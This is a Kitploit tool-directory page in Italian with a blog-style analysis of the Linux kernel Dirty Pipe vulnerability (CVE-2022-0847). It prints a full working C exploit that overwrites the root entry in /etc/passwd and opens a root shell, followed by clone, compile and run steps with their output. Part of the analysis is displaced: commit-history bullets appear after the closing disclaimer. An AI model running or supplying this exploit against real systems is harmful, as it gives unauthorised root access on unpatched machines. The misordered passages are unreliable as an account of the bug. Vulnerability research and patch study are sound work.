Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-0847-DirtyPipe — Analisi approfondita e proof-of-concept exploit per CVE-2022-0847 (DirtyPipe), una vulnerabilità del kernel Linux che consente la sovrascrittura arbitraria di file e l'escalation dei privilegi locali tramite flag di buffer pipe non inizializzati. | Kitploit
Strumenti/GitHubGitHub/greetdawn/cve-2022-0847-dirtypipe
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubgreetdawn/cve-2022-0847-dirtypipe

CVE-2022-0847-DirtyPipe

Analisi approfondita e proof-of-concept exploit per CVE-2022-0847 (DirtyPipe), una vulnerabilità del kernel Linux che consente la sovrascrittura arbitraria di file e l'escalation dei privilegi locali tramite flag di buffer pipe non inizializzati.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
14 anni faNon ancora revisionato

title: Analisi della vulnerabilità CVE-2022-0847 (DirtyPipe) (privilegio locale) date: 2022-03-08 14:41:20 tags: - Elevazione di privilegi Linux categories: - Ricerca sulla sicurezza


Descrizione della vulnerabilità

​ CVE-2022-0847 è una vulnerabilità nel kernel Linux dalla versione 5.8 in poi. Un attaccante può sfruttarla per sovrascrivere dati arbitrari in file di sola lettura. Ciò consente di elevare i privilegi normali a root, poiché un processo non privilegiato può iniettare codice in un processo root.

​ CVE-2022-0847 è simile a CVE-2016-5195 “Dirty Cow” (elevazione di privilegi sporca) ed è facile da sfruttare; l'autore della vulnerabilità l'ha chiamata Dirty Pipe

Dichiarazione di sicurezza

Questo blog è principalmente utilizzato per registrare e studiare eventi di sicurezza e articoli sulle vulnerabilità, a scopo di apprendimento e test. La responsabilità per qualsiasi conseguenza diretta o indiretta e danno derivante dalla diffusione o dall'utilizzo delle informazioni o degli strumenti forniti in questo articolo è esclusivamente dell'utente; l'autore dell'articolo non si assume alcuna responsabilità.

Impatto

Livello di pericolo: Alto

POC/EXP: Pubblicamente disponibile

Versioni interessate: kernel Linux 5.8 e successive

Nota: versioni sicure: kernel Linux >= 5.16.11, kernel Linux >= 5.15.25, kernel Linux >= 5.10.102

Analisi della vulnerabilità

Qui vengono brevemente descritti i dettagli della vulnerabilità.

Alcuni concetti:

Linux pipe: half-duplex, il flusso di dati può andare solo da un'estremità all'altra

pipe_buffer: buffer della pipe, utilizzato per memorizzare temporaneamente i dati scritti nella pipe; letture e scritture avvengono nel buffer della pipe

page: frame di pagina, 4KB, ha una relazione uno a uno con il buffer della pipe

pipe_buf_operations: utilizzato per memorizzare il set di operazioni del buffer della pipe

can_merge: flag di unione; se impostato a 1, i dati possono essere uniti al buffer esistente (se possibile per una pipe generica in lettura/scrittura). Se impostato a 0, viene sempre utilizzato un nuovo segmento di pagina della pipe per i nuovi dati.

splice(): sposta dati tra due descrittori di file; come la funzione sendfile(), supporta le pipe ed è zero-copy. Collega la cache di pagina del file al buffer della pipe, quindi le scritture influenzano entrambi simultaneamente. Durante il controllo dei permessi, verifica solo se il file di origine ha permessi di lettura; non controlla i permessi di scrittura. La catena di chiamate approssimativa è:

root@kitploit:~
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
root@kitploit:~
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
root@kitploit:~
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

image-20220310151242149

Storia del rilevamento dell'"unione" nelle pipe Linux:

Qui analizziamo brevemente il codice secondo le spiegazioni dell'autore.

  1. I sistemi Linux originali, come descritto nei concetti, avevano il flag can_merge, usato per indicare se i nuovi dati potevano essere scritti nel buffer della pipe esistente.

  2. Commit 5274f052e7b3 ha aggiunto la funzione splice(), ma la verifica non è cambiata; la disponibilità del buffer della pipe è ancora determinata dal flag can_merge.

    image-20220310130856202

    image-20220310130701741

  3. Commit 01e7187b4119 ha smesso di usare il flag can_merge e ha iniziato a confrontare il puntatore a struct pipe_buf_operations. Poiché solo il tipo anon_pipe_buf_ops permette la scrittura di nuovi dati, è sufficiente verificare che sia di quel tipo.

    image-20220310133214287

    image-20220310133251831

Pertanto l'autore propone il seguente vettore di sfruttamento:

  1. Creare una pipe.
  2. Impostare il flag PIPE_BUF_FLAG_CAN_MERGE su pipe_buffer.
  3. Svuotare la pipe, quindi aggiungere dati di destinazione alla pipe usando splice; a questo punto splice collega il buffer della pipe alla cache di pagina.
  4. Scrivere dati arbitrari nella pipe; la write chiama infine copy_page_from_iter() per la scrittura, e grazie al flag PIPE_BUF_FLAG_CAN_MERGE, la scrittura avviene direttamente.

Analisi dell'Exploit

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读,后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道,顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道,但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移,即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道,标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功,-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

Sfruttamento della vulnerabilità

Attualmente viene utilizzata una macchina virtuale Kali come sistema dimostrativo.

Il sistema di destinazione richiede solo che sia presente gcc.

  • Verificare la versione corrente del kernel di sistema
root@kitploit:~
wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux
  • Scaricare l'exploit
root@kitploit:~
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
  • Esecuzione dell'exploit
root@kitploit:~
./compile.sh	# gcc编译
./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限
  • Ripristinare il file passwd
root@kitploit:~
mv /tmp/passwd.bak /etc/passwd

Correzione della vulnerabilità

Innanzitutto correggere l'impostazione dell'attributo merge

image-20220310160200916

Poi aggiungere l'inizializzazione dei flags

image-20220310160536267

image-20220310160703429

Nota dell'editore

Qui vorremmo ringraziare il maestro Psyduck per aver dedicato tempo prezioso ad analizzare e organizzare i principi basandosi sull'exploit pubblicamente disponibile. Il maestro ha dichiarato di aver effettuato anche un debug a basso livello locale, ma non è ancora stata trovata una chiara catena di chiamate dati; tuttavia, sta ancora approfondendo la ricerca.

Collegamenti di riferimento

  • https://dirtypipe.cm4all.com/
  • https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

Dichiarazione di sicurezza

Questo blog è principalmente utilizzato per registrare e studiare eventi di sicurezza e articoli sulle vulnerabilità, a scopo di apprendimento e test. La responsabilità per qualsiasi conseguenza diretta o indiretta e danno derivante dalla diffusione o dall'utilizzo delle informazioni o degli strumenti forniti in questo articolo è esclusivamente dell'utente; l'autore dell'articolo non si assume alcuna responsabilità.

Scarica lo strumento
  • Commit 241699cd72a8 ha aggiunto due nuove funzioni che possono allocare nuovi struct pipe_buf_operations, ma non inizializzano il loro flag flags.

    image-20220310155046455

  • Commit f6dd975583bd ha convertito questo confronto di puntatori in un confronto del flag PIPE_BUF_FLAG_CAN_MERGE per ogni buffer, e ha permesso di iniettare PIPE_BUF_FLAG_CAN_MERGE, rimuovendo al contempo la definizione e l'uso di altri tipi di buf_ops.

    image-20220310134233873

    image-20220310134337376

    image-20220310142420972